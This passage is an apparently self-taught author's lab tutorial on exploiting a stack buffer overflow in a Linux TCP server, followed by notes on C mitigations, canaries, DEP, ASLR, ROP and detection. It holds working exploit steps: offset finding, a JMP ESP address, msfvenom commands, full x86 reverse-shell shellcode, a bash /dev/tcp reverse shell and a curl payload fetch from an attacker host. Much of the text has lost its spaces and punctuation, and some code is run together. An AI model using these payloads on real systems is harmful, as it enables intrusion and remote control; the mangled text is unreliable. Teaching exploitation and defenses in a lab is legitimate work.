YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

